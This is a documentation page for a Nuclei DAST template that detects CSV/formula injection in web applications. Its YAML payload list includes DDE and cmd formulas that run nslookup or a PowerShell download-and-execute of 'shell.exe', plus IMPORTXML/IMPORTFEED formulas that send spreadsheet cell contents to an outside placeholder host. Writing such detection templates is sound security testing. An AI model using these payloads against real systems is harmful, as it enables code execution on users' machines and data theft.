CSV Injection Detection

ID: csv-injection

Severity: medium

Author: DhiyaneshDK,ritikchaddha

Tags: dast,csv,oast

Description

A CSV injection detection template to identify and prevent CSV injection vulnerabilities by using various payloads that could be interpreted as formulas by spreadsheet applications.

YAML Source

id: csv-injection

info:
  name: CSV Injection Detection
  author: DhiyaneshDK,ritikchaddha
  severity: medium
  description: |
    A CSV injection detection template to identify and prevent CSV injection vulnerabilities by using various payloads that could be interpreted as formulas by spreadsheet applications.
  tags: dast,csv,oast

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      csv_fuzz:
        - "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
        - 'DDE ("cmd";"/C nslookup{{interactsh-url}}";"!A0")A0'
        - "@SUM(1+9)*cmd|' /C nslookup{{interactsh-url}}'!A0"
        - "=10+20+cmd|' /C nslookup{{interactsh-url}}'!A0"
        - "=cmd|' /C nslookup{{interactsh-url}}'!'A1'"
        - "=cmd|'/C powershell IEX(wget{{interactsh-url}}/shell.exe)'!A0"
        - '=IMPORTXML(CONCAT("http://{{interactsh-url}}", CONCATENATE(A2:E2)), "//a/a10")'
        - '=IMPORTFEED(CONCAT("http://{{interactsh-url}}/123.txt?v=", CONCATENATE(A2:E2)))'
        - '=IMPORTHTML (CONCAT("http://{{interactsh-url}}/123.txt?v=", CONCATENATE(A2:E2)),"table",1)'
        - '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'

    fuzzing:
      - part: query
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
          - '{{csv_fuzz}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: header
        words:
          - "text/csv"
          - "application/csv"
          - "application/vnd.ms-excel"
# digest: 4b0a00483046022100f7e75b232bba6a4cdf8750cda7e0a17af0e3f86b85e0052d201cb5b60fde787f022100ae2e75bfc5891ad76b304eb90525135d905cde216fc5236f73da1dd79a974321:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/vulnerabilities/injection/csv-injection.yaml"

View on Github